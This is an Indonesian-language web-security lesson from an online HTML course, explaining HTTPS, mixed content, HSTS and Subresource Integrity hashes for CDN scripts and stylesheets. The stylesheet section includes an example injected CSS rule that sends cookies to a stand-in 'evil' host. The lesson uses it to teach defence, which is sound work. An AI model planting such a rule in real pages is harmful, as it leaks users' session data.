HTTPS dan Integritas Subresource
Verifikasi integritas sumber daya eksternal dengan atribut integrity.
HTTPS dan Integritas Subresource adalah pelajaran HTML Academy gratis di CoddyKit. Ini adalah pelajaran 4 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar HTML Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus HTML Academy mencakup 4 pelajaran total.
Mengapa HTTPS di Mana Saja
HTTPS mengenkripsi data saat transit dan mengautentikasi server. Tanpa HTTPS, penyerang di jaringan yang sama (Wi-Fi kafe, ISP, aktor negara) dapat membaca setiap byte dan menyisipkan konten berbahaya ke dalam respons. Peramban modern menandai halaman HTTP sebagai "Tidak Aman" dan banyak API (kamera, geolokasi, service worker) menolak bekerja melalui HTTP.
Konten Campuran
Memuat sumber daya HTTP dari halaman HTTPS merupakan konten campuran. Peramban memblokir konten campuran aktif (skrip, iframe, stylesheet) sepenuhnya dan memberikan peringatan untuk konten pasif (gambar). Selalu muat setiap sumber daya melalui HTTPS; gunakan URL relatif-protokol (//cdn.example.com) atau https:// absolut.
HSTS
HTTP Strict Transport Security melalui header respons Strict-Transport-Security memberi tahu peramban untuk menolak koneksi HTTP ke domain Anda di masa mendatang. Setelah HSTS disimpan dalam cache, penyerang tidak dapat menurunkan pengguna ke HTTP, bahkan jika penyerang berada di posisi perantara.
Mengapa SRI?
Memuat skrip dari CDN pihak ketiga memang praktis, tetapi berisiko — jika CDN disusupi, penyerang dapat mengganti skrip dengan perangkat lunak berbahaya. Subresource Integrity (SRI) membuat peramban memverifikasi hash kriptografis file sebelum menjalankannya dan menolak menjalankannya jika hash tidak cocok.
Atribut integrity
Tambahkan hash SHA-256/384/512 yang dikodekan dalam base64 ke tag skrip: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Peramban menghitung hash file yang diunduh dan menolak menjalankannya jika tidak cocok.
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous">Membuat Hash
Buat hash dengan openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Atau gunakan plugin alat build yang menghasilkan atribut integrity secara otomatis. Sebagian besar CDN (jsdelivr, unpkg) menampilkan tag SRI dalam cuplikan yang siap disalin dan ditempel.
crossorigin Wajib
SRI memerlukan respons lintas-origin untuk mengizinkan pemeriksaan integritas melalui CORS. Tambahkan crossorigin="anonymous" ke tag dan pastikan CDN mengirim Access-Control-Allow-Origin. Tanpanya, peramban menolak melakukan verifikasi dan sumber daya gagal dimuat.
Beberapa Hash
Atribut integrity dapat memuat beberapa hash yang dipisahkan oleh spasi. Ini berguna selama peralihan versi: cantumkan hash untuk versi lama dan baru, lalu peramban menerima versi mana pun yang disajikan CDN. Hindari lebih dari beberapa hash agar atribut tetap mudah dibaca.
SRI untuk Stylesheet
SRI juga melindungi <link rel="stylesheet">. File CSS yang disusupi tidak secara langsung berbahaya seperti skrip yang disusupi, tetapi background: url("//evil/log?cookie=...") yang disisipkan tetap dapat mengeksfiltrasi data. Terapkan SRI pada setiap aset eksternal jika memungkinkan.
Sering Kali, Hosting Sendiri Lebih Baik
SRI mengurangi dampak penyusupan CDN, tetapi tidak menyelesaikan semua masalah: perubahan hash di CDN membuat halaman Anda rusak sampai Anda memperbarui atribut integrity. Untuk pustaka penting, host sendiri file yang telah Anda tinjau — langkah ini sekaligus menghilangkan kebutuhan penyematan hash SRI dan risiko rantai pasokan.
Kinerja
SRI menambahkan penghitungan hash untuk setiap sumber daya — dampaknya dapat diabaikan pada perangkat keras modern, hanya beberapa mikrodetik per kilobyte. Perlindungan yang diberikannya terhadap serangan rantai pasokan jauh lebih besar daripada biayanya. Tidak ada alasan terkait kinerja untuk melewati SRI saat memuat dari CDN.
Keterbatasan
SRI memverifikasi byte tertentu — SRI tidak melindungi dari CDN yang menyajikan file berbeda kepada sebagian pengguna (penargetan selektif). Untuk jaminan maksimum, gabungkan SRI dengan HTTPS, HSTS, CSP, dan hosting sendiri untuk aset yang paling penting.
Uji Pengetahuan
Terhadap apa atribut integrity pada tag skrip memberikan perlindungan?
Ringkasan
HTTPS mengenkripsi dan mengautentikasi, HSTS mencegah serangan penurunan protokol, dan SRI memverifikasi bahwa file pihak ketiga tidak telah diubah. Tambahkan hash integrity (dengan crossorigin="anonymous") ke setiap skrip dan stylesheet eksternal dari CDN yang tidak Anda kendalikan. Untuk aset paling penting, gunakan hosting sendiri — sehingga risiko rantai pasokan terhapus sepenuhnya.
Pertanyaan yang Sering Diajukan
Apakah pelajaran “HTTPS dan Integritas Subresource” gratis?
Ya — teks lengkap “HTTPS dan Integritas Subresource” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus HTML Academy, upgrade ke CoddyKit PRO. Kursus HTML Academy mencakup 4 pelajaran total.
Apa yang akan aku pelajari di “HTTPS dan Integritas Subresource”?
Verifikasi integritas sumber daya eksternal dengan atribut integrity. Kamu berlatih HTML Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.
Apakah aku perlu pengalaman untuk memulai HTML Academy?
Tidak diperlukan pengalaman sebelumnya. HTML Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 4 dari 4.
Berapa lama pelajaran “HTTPS dan Integritas Subresource” memakan waktu?
Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.
Bisakah aku menulis dan menjalankan kode dalam pelajaran HTML Academy ini?
Ya. Setiap pelajaran HTML Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.
Semua pelajaran dalam kursus ini
- Content Security Policy meta http-equiv
- XSS melalui innerHTML dan Cara Mencegahnya
- Sandbox iframe dan Permissions Policy
- HTTPS dan Integritas Subresource